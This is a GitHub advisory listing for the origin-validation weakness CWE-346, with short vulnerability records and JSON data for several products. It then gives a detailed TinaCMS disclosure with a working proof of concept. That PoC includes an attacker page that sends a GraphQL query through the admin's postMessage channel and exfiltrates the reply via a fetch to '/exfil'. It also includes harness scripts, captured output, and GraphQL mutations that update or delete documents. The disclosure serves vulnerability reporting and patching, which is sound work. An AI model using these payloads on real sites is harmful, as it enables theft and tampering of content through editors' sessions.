CWE-346
Allowed-with-ReviewOrigin Validation Error
Abstraction: Class · Status: Draft
The product does not properly verify that the source of data or communication is valid.
1080 vulnerabilities reference this CWE, most recent first.
GHSA-WWR3-9QHX-Q62F
Vulnerability from github – Published: 2022-05-24 17:32 – Updated: 2022-05-24 17:32A logic issue was addressed with improved validation. This issue is fixed in iCloud for Windows 7.17, iTunes 12.10.4 for Windows, iCloud for Windows 10.9.2, tvOS 13.3.1, Safari 13.0.5, iOS 13.3.1 and iPadOS 13.3.1. A DOM object context may not have had a unique security origin.
{
"affected": [],
"aliases": [
"CVE-2020-3864"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-27T21:15:00Z",
"severity": "HIGH"
},
"details": "A logic issue was addressed with improved validation. This issue is fixed in iCloud for Windows 7.17, iTunes 12.10.4 for Windows, iCloud for Windows 10.9.2, tvOS 13.3.1, Safari 13.0.5, iOS 13.3.1 and iPadOS 13.3.1. A DOM object context may not have had a unique security origin.",
"id": "GHSA-wwr3-9qhx-q62f",
"modified": "2022-05-24T17:32:40Z",
"published": "2022-05-24T17:32:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3864"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT210918"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT210920"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT210922"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT210923"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT210947"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT210948"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WX3X-CCQC-XQ62
Vulnerability from github – Published: 2026-08-04 00:34 – Updated: 2026-08-04 00:34Origin validation error in Microsoft Edge (Chromium-based) allows an unauthorized attacker to disclose information over a network.
{
"affected": [],
"aliases": [
"CVE-2026-66318"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-04T00:17:39Z",
"severity": "HIGH"
},
"details": "Origin validation error in Microsoft Edge (Chromium-based) allows an unauthorized attacker to disclose information over a network.",
"id": "GHSA-wx3x-ccqc-xq62",
"modified": "2026-08-04T00:34:55Z",
"published": "2026-08-04T00:34:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66318"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-66318"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WX4C-59W2-PW86
Vulnerability from github – Published: 2024-11-15 21:30 – Updated: 2024-11-18 21:30An issue in kodbox v.1.52.04 and before allows a remote attacker to obtain sensitive information via the captcha feature in the password reset function.
{
"affected": [],
"aliases": [
"CVE-2024-51037"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-15T19:15:07Z",
"severity": "MODERATE"
},
"details": "An issue in kodbox v.1.52.04 and before allows a remote attacker to obtain sensitive information via the captcha feature in the password reset function.",
"id": "GHSA-wx4c-59w2-pw86",
"modified": "2024-11-18T21:30:45Z",
"published": "2024-11-15T21:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51037"
},
{
"type": "WEB",
"url": "https://github.com/kalcaddle/kodbox"
},
{
"type": "WEB",
"url": "https://www.tommonkey.cn/2024/11/13/CVE-2024-51037-Disclosed"
},
{
"type": "WEB",
"url": "http://kodbox.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WXHG-Q73J-67J9
Vulnerability from github – Published: 2024-04-30 15:30 – Updated: 2024-04-30 15:30A vulnerability exists in the too permissive HTTP response header web server settings of the SDM600. An attacker can take advantage of this and possibly carry out privileged actions and access sensitive information.
{
"affected": [],
"aliases": [
"CVE-2024-2377"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-30T13:15:46Z",
"severity": "HIGH"
},
"details": "A vulnerability exists in the too permissive HTTP response header web server settings of the SDM600. An attacker can take advantage of this and possibly carry out privileged actions and access sensitive information.",
"id": "GHSA-wxhg-q73j-67j9",
"modified": "2024-04-30T15:30:37Z",
"published": "2024-04-30T15:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2377"
},
{
"type": "WEB",
"url": "https://publisher.hitachienergy.com/preview?DocumentId=8DBD000191\u0026languageCode=en\u0026Preview=true"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WXPC-2674-RXVW
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 16:59A Cross-Origin Resource Sharing (CORS) vulnerability exists in feast-dev/feast version 0.40.0. The CORS configuration on the agentscope server does not properly restrict access to only trusted origins, allowing any external domain to make requests to the API. This can bypass intended security controls and potentially expose sensitive information.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "feast"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.40.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-11602"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-21T16:59:37Z",
"nvd_published_at": "2025-03-20T10:15:25Z",
"severity": "HIGH"
},
"details": "A Cross-Origin Resource Sharing (CORS) vulnerability exists in feast-dev/feast version 0.40.0. The CORS configuration on the agentscope server does not properly restrict access to only trusted origins, allowing any external domain to make requests to the API. This can bypass intended security controls and potentially expose sensitive information.",
"id": "GHSA-wxpc-2674-rxvw",
"modified": "2025-03-21T16:59:37Z",
"published": "2025-03-20T12:32:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11602"
},
{
"type": "PACKAGE",
"url": "https://github.com/feast-dev/feast"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/7b24ecbe-0af7-4125-ab56-bce09786042e"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Feast Cross-Origin Resource Sharing vulnerability"
}
GHSA-X23J-4PCQ-M26J
Vulnerability from github – Published: 2026-08-12 21:31 – Updated: 2026-08-12 21:31The default kuma-cp configuration in Kong Mesh reveals the admin bootstrap token and signing keys to any webpage the operator visits while the control plane is reachable from their browser. Due to a CORS misconfiguration a cross-origin fetch() from a malicious page returns the admin JWT and signing material.
{
"affected": [],
"aliases": [
"CVE-2026-18676"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T19:17:30Z",
"severity": "MODERATE"
},
"details": "The default kuma-cp configuration in Kong Mesh reveals the admin bootstrap token and signing keys to any webpage the operator visits while the control plane is reachable from their browser.\u00a0Due to a CORS misconfiguration a cross-origin fetch() from a malicious page returns the admin JWT and signing material.",
"id": "GHSA-x23j-4pcq-m26j",
"modified": "2026-08-12T21:31:37Z",
"published": "2026-08-12T21:31:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/security/advisories/GHSA-3vcp-chfh-f6r2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18676"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/16416"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/16423"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/16424"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/16425"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/16426"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/16427"
},
{
"type": "WEB",
"url": "https://developer.konghq.com/mesh/changelog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-X299-8CCG-M7C3
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2023-02-15 03:30A security vulnerability exists in the Zingbox Inspector versions 1.293 and earlier, that could allow an attacker to supply an invalid software update image to the Zingbox Inspector that could result in command injection.
{
"affected": [],
"aliases": [
"CVE-2019-15020"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-09T21:15:00Z",
"severity": "CRITICAL"
},
"details": "A security vulnerability exists in the Zingbox Inspector versions 1.293 and earlier, that could allow an attacker to supply an invalid software update image to the Zingbox Inspector that could result in command injection.",
"id": "GHSA-x299-8ccg-m7c3",
"modified": "2023-02-15T03:30:26Z",
"published": "2022-05-24T16:58:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15020"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2019-15020"
},
{
"type": "WEB",
"url": "https://securityadvisories.paloaltonetworks.com/Home/Detail/185"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X34J-47HF-4XG7
Vulnerability from github – Published: 2026-10-09 20:56 – Updated: 2026-10-09 20:56Summary
The TinaCMS admin builds its preview <iframe src> from the /~/* hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (#/~//attacker.example/p) becomes the protocol-relative URL //attacker.example/p, so the admin frames an external site. That same unvalidated string derives expectedOrigin, the only trust anchor for the admin↔preview postMessage channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin.
One link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor.
Details
Root cause — the router splat becomes the frame source with no same-origin check:
packages/tinacms/src/admin/index.tsx:16 HashRouter as Router,
packages/tinacms/src/admin/index.tsx:329 path='/~/*'
packages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(`/${params['*']}`);
packages/tinacms/src/admin/index.tsx:176 const paramURL = `/${params['*']}`;
packages/@tinacms/app/src/preview.tsx:24 src={props.url}
The leading / is meant to force a relative path, but react-router-dom@6.30.3 returns the splat with its own leading slash for /~//x, producing //x. The iframe has no sandbox attribute and the admin bundle ships no CSP.
The trust anchor is then computed from that same value:
packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212 getExpectedPreviewOrigin(url)
packages/@tinacms/app/src/lib/preview-origin.ts:22 return new URL(url, baseOrigin || undefined).origin;
packages/@tinacms/app/src/lib/preview-origin.ts:43-46 event.origin !== expectedOrigin -> reject
Both guards pass for the attacker: event.origin is expectedOrigin, and event.source is the frame the admin itself loaded.
PreviewInner's URL-correction poll (packages/tinacms/src/admin/index.tsx:189-200) does not recover the frame: reading ref.current.contentWindow.location.href across origins throws an uncaught SecurityError, so setReportedURL never fires and no corrective navigate() happens. The PoC below includes that effect verbatim and the attack still completes.
Sink — the attacker's GraphQL string reaches the authenticated client, and the result goes back to the attacker:
packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624 'open' handler; zod validates types only, not query content
packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978 cms.api.tina.request(expandedQuery, { variables })
packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505 postMessageToPreview(..., expectedOrigin)
expandQuery (packages/@tinacms/app/src/lib/expand-query.ts:3-18) is operation-agnostic, so mutations pass through unchanged.
Default-enabled: packages/@tinacms/app/src/App.tsx:70 always passes preview={Preview}, and packages/tinacms/src/admin/index.tsx:327 registers /~/* whenever preview is truthy — so the route exists in every tinacms build output and in tinacms dev.
Incomplete-fix note: tinacms@3.9.3 / @tinacms/app@2.5.6 (PR #7056, c491fc5) added the sender-side origin check, but never validated the URL that check compares against.
Affected-range basis, stated plainly: I tested only tinacms@3.12.1 / @tinacms/app@2.5.12 (commit 0d38acf). The ranges below are given as <= because the vulnerable lines are byte-identical across every commit available to me — a 123-commit shallow clone, earliest 8a86ffa (2026-06-26), which predates the 3.9.3 hardening release — but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history.
Suggested fix: normalise the splat to a same-origin path before it becomes url (reject a leading / or \), and have getExpectedPreviewOrigin refuse any origin other than window.location.origin.
PoC
Safe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository's preview-origin.ts byte-for-byte and reproduces PreviewInner/Preview line-for-line from the cited files; cms.api.tina.request is stubbed to return a marker so no real backend is touched.
Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by playwright@1.49.0.
Setup
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD
mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc
npm init -y >/dev/null
npm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0
cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts
victim/admin.tsx — PreviewInner from packages/tinacms/src/admin/index.tsx:170-210, Preview from packages/@tinacms/app/src/preview.tsx:10-26, and the four graphql-reducer.ts steps (:209-212, :548-556, :613-624 + :973-978, :497-505):
import React from 'react';
import { createRoot } from 'react-dom/client';
import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';
import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';
const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);
// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin
// this is an authenticated call to the content API with the editor's token.
async function tinaRequest(query: string) {
log('cms.api.tina.request() called with attacker query', query);
return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } };
}
function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) {
const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]); // :209-212
React.useEffect(() => {
log('expectedOrigin derived from preview url', { url, expectedOrigin });
(window as any).__poc_expectedOrigin = expectedOrigin;
}, [expectedOrigin, url]);
const handleMessage = React.useCallback(async (event: MessageEvent<any>) => {
if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556
if (event.data.type === 'open') { // :613-624
log('ACCEPTED "open" message from', event.origin);
const expandedData = await tinaRequest(event.data.query); // :973-978
postMessageToPreview(iframe.current?.contentWindow,
{ type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505
log('posted query result to', expectedOrigin);
}
}, [expectedOrigin]);
React.useEffect(() => {
window.addEventListener('message', handleMessage);
return () => window.removeEventListener('message', handleMessage);
}, [handleMessage]);
}
const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => {
useGraphQLReducer(props.iframeRef, props.url);
return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef}
className='h-full w-full bg-white' src={props.url} />; // preview.tsx:24
};
const PreviewInner = ({ preview }: { preview: any }) => { // admin/index.tsx:170-210
const params = useParams();
const navigate = useNavigate();
const [url, setURL] = React.useState(`/${params['*']}`);
const [reportedURL, setReportedURL] = React.useState<string | null>(null);
const ref = React.useRef<HTMLIFrameElement>(null);
const paramURL = `/${params['*']}`;
React.useEffect(() => { if (reportedURL !== paramURL && paramURL) setURL(paramURL); }, [paramURL]);
React.useEffect(() => { if ((reportedURL !== url || reportedURL !== paramURL) && reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);
React.useEffect(() => { // admin/index.tsx:189-200
setInterval(() => {
if (ref.current) {
const url = new URL(ref.current.contentWindow?.location.href || '');
if (url.origin === 'null') { return; }
const href = url.href.replace(url.origin, '');
setReportedURL(href);
}
}, 100);
}, [ref.current]);
React.useEffect(() => {
log('iframe src computed from router splat', { "params['*']": params['*'], url });
(window as any).__poc_iframeSrc = url;
}, [url]);
const PreviewCmp = preview;
return <div><PreviewCmp url={url} iframeRef={ref} /></div>;
};
createRoot(document.getElementById('root')!).render(
<Router>
<Routes>
<Route path='/~/*' element={<PreviewInner preview={Preview} />} /> {/* admin/index.tsx:329 */}
<Route path='/' element={<div>admin dashboard</div>} />
</Routes>
</Router>
);
victim/index.html:
<!doctype html><html><head><title>TinaCMS admin (repro)</title></head>
<body><div id="root"></div><script type="module" src="/admin.js"></script></body></html>
attacker/evil.html:
<!doctype html><html><body>
<h1>attacker-controlled page framed by the TinaCMS admin</h1>
<script>
parent.postMessage({ type: 'open', id: 'poc-1',
query: 'query { collection(collection: "authentication") { documents { edges { node { ... on Document { _values } } } } } }',
variables: {}, data: {} }, '*');
window.addEventListener('message', (e) => {
if (e.data && e.data.type === 'updateData') {
fetch('/exfil?data=' + encodeURIComponent(JSON.stringify(e.data.data)), { mode: 'no-cors' });
}
});
</script></body></html>
run.cjs — serves both origins, logs every attacker-server request, and runs a control fragment and the crafted fragment:
const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const VICTIM_PORT=8801, ATTACKER_PORT=8802, HERE=__dirname, attackerHits=[];
function serve(dir,port,onHit){const s=http.createServer((req,res)=>{const u=new URL(req.url,`http://127.0.0.1:${port}`);
if(onHit)onHit(req.method+' '+u.pathname+u.search);
if(u.pathname.startsWith('/exfil')){res.writeHead(204).end();return;}
const f=path.join(dir,u.pathname==='/'?'/index.html':u.pathname);
if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
res.writeHead(200,{'content-type':f.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});res.end(fs.readFileSync(f));});
return new Promise(r=>s.listen(port,'127.0.0.1',()=>r(s)));}
(async()=>{const v=await serve(path.join(HERE,'victim'),VICTIM_PORT);
const a=await serve(path.join(HERE,'attacker'),ATTACKER_PORT,h=>attackerHits.push(h));
const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});const results={};
for(const scenario of ['control','attack']){attackerHits.length=0;
const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[];
page.on('console',m=>logs.push(m.text()));
const hash=scenario==='control'?'#/~/posts/hello-world':`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;
await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);
results[scenario]={hash,
iframeSrc:await page.evaluate(()=>window.__poc_iframeSrc),
expectedOriginTrustedByAdmin:await page.evaluate(()=>window.__poc_expectedOrigin),
framesLoaded:page.frames().map(f=>f.url()),
attackerServerHits:[...attackerHits],
victimConsole:logs.filter(l=>l.startsWith('[victim]'))};
await ctx.close();}
await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();
Run
cd /tmp/tina-poc
npx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \
--loader:.tsx=tsx --define:process.env.NODE_ENV='"production"'
node run.cjs
Observed output (captured verbatim)
{
"control": {
"hash": "#/~/posts/hello-world",
"iframeSrc": "/posts/hello-world",
"expectedOriginTrustedByAdmin": "http://127.0.0.1:8801",
"framesLoaded": [
"http://127.0.0.1:8801/index.html#/~/posts/hello-world",
"http://127.0.0.1:8801/posts/hello-world"
],
"attackerServerHits": [],
"victimConsole": [
"[victim] expectedOrigin derived from preview url {\"url\":\"/posts/hello-world\",\"expectedOrigin\":\"http://127.0.0.1:8801\"}",
"[victim] iframe src computed from router splat {\"params['*']\":\"posts/hello-world\",\"url\":\"/posts/hello-world\"}"
]
},
"attack": {
"hash": "#/~//127.0.0.1:8802/evil.html",
"iframeSrc": "//127.0.0.1:8802/evil.html",
"expectedOriginTrustedByAdmin": "http://127.0.0.1:8802",
"framesLoaded": [
"http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html",
"http://127.0.0.1:8802/evil.html"
],
"attackerServerHits": [
"GET /evil.html",
"GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D"
],
"victimConsole": [
"[victim] expectedOrigin derived from preview url {\"url\":\"//127.0.0.1:8802/evil.html\",\"expectedOrigin\":\"http://127.0.0.1:8802\"}",
"[victim] iframe src computed from router splat {\"params['*']\":\"/127.0.0.1:8802/evil.html\",\"url\":\"//127.0.0.1:8802/evil.html\"}",
"[victim] ACCEPTED \"open\" message from \"http://127.0.0.1:8802\"",
"[victim] cms.api.tina.request() called with attacker query \"query { collection(collection: \\\"authentication\\\") { documents { edges { node { ... on Document { _values } } } } } }\"",
"[victim] posted query result to \"http://127.0.0.1:8802\""
]
}
}
Expected vulnerable output — in attack: iframeSrc protocol-relative, expectedOriginTrustedByAdmin equal to the attacker's origin, a frame served by the attacker, and both GET /evil.html and GET /exfil?data=... on the attacker server. All held.
Control — #/~/posts/hello-world keeps the frame same-origin, keeps expectedOrigin on the victim origin, and produces zero attacker hits. That is what the crafted fragment should also do once fixed.
Supporting check — attacker mutations survive expandQuery and validate against a real Tina schema
mkdir -p /tmp/tina-expand && cd /tmp/tina-expand
npm init -y >/dev/null && npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0
cp "$REPO/packages/@tinacms/app/src/lib/expand-query.ts" ./expand-query.ts
cat > t.ts <<'EOF'
import * as G from 'graphql'; import fs from 'fs'; import { expandQuery } from './expand-query';
const schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, 'utf-8'));
const ops: Record<string,string> = {
READ: `query { movieConnection { edges { node { _values } } } }`,
MUTATE_UPDATE: `mutation { updateDocument(collection: "movie", relativePath: "movie1.json", params: {movie: {title: "pwned"}}) { __typename } }`,
MUTATE_DELETE: `mutation { deleteDocument(collection: "movie", relativePath: "movie1.json") { __typename } }`,
};
for (const [n, op] of Object.entries(ops)) {
const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));
const errs = G.validate(schema, G.parse(printed));
console.log(`--- ${n} ---`);
console.log('survives expandQuery + validates against the real Tina schema:', errs.length === 0);
console.log('operation kept:', (G.parse(printed).definitions[0] as any).operation);
}
EOF
npx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs >/dev/null
SCHEMA="$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql" node t.cjs
Observed output:
--- READ ---
survives expandQuery + validates against the real Tina schema: true
operation kept: query
--- MUTATE_UPDATE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation
--- MUTATE_DELETE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation
Supporting check — router splat behaviour
mkdir -p /tmp/tina-rr && cd /tmp/tina-rr && npm init -y >/dev/null
npm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1
cat > t.cjs <<'EOF'
const { matchPath } = require('react-router-dom');
for (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) {
const s = matchPath({ path: '/~/*' }, p)?.params['*'];
console.log(JSON.stringify(p), '=> params["*"] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s));
}
EOF
node t.cjs
Observed output:
"/~/posts/hello" => params["*"] = "posts/hello" => url = "/posts/hello"
"/~//evil.example" => params["*"] = "/evil.example" => url = "//evil.example"
"/~/%2F%2Fevil.example" => params["*"] = "//evil.example" => url = "///evil.example"
Scope of the proof. Executed and observed here: the protocol-relative url, the cross-origin frame load, the attacker origin becoming expectedOrigin, the repository's real isFromTrustedPreviewOrigin accepting the attacker's message, the attacker's operation string reaching the request function, the response being delivered to the attacker's origin, and attacker mutations validating against a repository-provided generated schema. Not executed: a call against a live TinaCloud or self-hosted backend — cms.api.tina.request was stubbed deliberately so the PoC contacts no external service and writes no data.
Cleanup
rm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr
All three PoCs were re-run after this report was drafted; the outputs above are those runs.
Impact
Origin validation error leading to a confused-deputy abuse of the content API. An unauthenticated remote attacker needs only to get a signed-in TinaCMS editor to open one link — the payload lives in the URL fragment, so it never reaches the server or its logs. The attacker then reads anything the editor can read (including, on self-hosted setups, the authentication collection holding PBKDF2 password hashes) and performs any mutation the editor can perform (updateDocument, createDocument, deleteDocument), with results delivered to the attacker's own origin. Two boundaries are crossed: the browser same-origin policy, and the content API's authorization.
Impacted: every deployment serving the TinaCMS admin bundle (tinacms build output or tinacms dev). No configuration disables the /~/* route.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.13.0"
},
"package": {
"ecosystem": "npm",
"name": "tinacms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.14.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.5.13"
},
"package": {
"ecosystem": "npm",
"name": "@tinacms/app"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-108261"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-441",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:56:48Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe TinaCMS admin builds its preview `\u003ciframe src\u003e` from the `/~/*` hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (`#/~//attacker.example/p`) becomes the protocol-relative URL `//attacker.example/p`, so the admin frames an external site. That same unvalidated string derives `expectedOrigin`, the only trust anchor for the admin\u2194preview `postMessage` channel, so the attacker\u0027s frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor\u0027s token and posts back to the attacker\u0027s origin.\n\nOne link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site\u0027s content API as that editor.\n\n### Details\n\nRoot cause \u2014 the router splat becomes the frame source with no same-origin check:\n\n```\npackages/tinacms/src/admin/index.tsx:16 HashRouter as Router,\npackages/tinacms/src/admin/index.tsx:329 path=\u0027/~/*\u0027\npackages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(`/${params[\u0027*\u0027]}`);\npackages/tinacms/src/admin/index.tsx:176 const paramURL = `/${params[\u0027*\u0027]}`;\npackages/@tinacms/app/src/preview.tsx:24 src={props.url}\n```\n\nThe leading `/` is meant to force a relative path, but `react-router-dom@6.30.3` returns the splat with its own leading slash for `/~//x`, producing `//x`. The iframe has no `sandbox` attribute and the admin bundle ships no CSP.\n\nThe trust anchor is then computed from that same value:\n\n```\npackages/@tinacms/app/src/lib/graphql-reducer.ts:209-212 getExpectedPreviewOrigin(url)\npackages/@tinacms/app/src/lib/preview-origin.ts:22 return new URL(url, baseOrigin || undefined).origin;\npackages/@tinacms/app/src/lib/preview-origin.ts:43-46 event.origin !== expectedOrigin -\u003e reject\n```\n\nBoth guards pass for the attacker: `event.origin` *is* `expectedOrigin`, and `event.source` *is* the frame the admin itself loaded.\n\n`PreviewInner`\u0027s URL-correction poll (`packages/tinacms/src/admin/index.tsx:189-200`) does not recover the frame: reading `ref.current.contentWindow.location.href` across origins throws an uncaught `SecurityError`, so `setReportedURL` never fires and no corrective `navigate()` happens. The PoC below includes that effect verbatim and the attack still completes.\n\nSink \u2014 the attacker\u0027s GraphQL string reaches the authenticated client, and the result goes back to the attacker:\n\n```\npackages/@tinacms/app/src/lib/graphql-reducer.ts:613-624 \u0027open\u0027 handler; zod validates types only, not query content\npackages/@tinacms/app/src/lib/graphql-reducer.ts:973-978 cms.api.tina.request(expandedQuery, { variables })\npackages/@tinacms/app/src/lib/graphql-reducer.ts:497-505 postMessageToPreview(..., expectedOrigin)\n```\n\n`expandQuery` (`packages/@tinacms/app/src/lib/expand-query.ts:3-18`) is operation-agnostic, so mutations pass through unchanged.\n\nDefault-enabled: `packages/@tinacms/app/src/App.tsx:70` always passes `preview={Preview}`, and `packages/tinacms/src/admin/index.tsx:327` registers `/~/*` whenever `preview` is truthy \u2014 so the route exists in every `tinacms build` output and in `tinacms dev`.\n\nIncomplete-fix note: `tinacms@3.9.3` / `@tinacms/app@2.5.6` (PR #7056, `c491fc5`) added the sender-side origin check, but never validated the URL that check compares against.\n\nAffected-range basis, stated plainly: I tested only `tinacms@3.12.1` / `@tinacms/app@2.5.12` (commit `0d38acf`). The ranges below are given as `\u003c=` because the vulnerable lines are byte-identical across every commit available to me \u2014 a 123-commit shallow clone, earliest `8a86ffa` 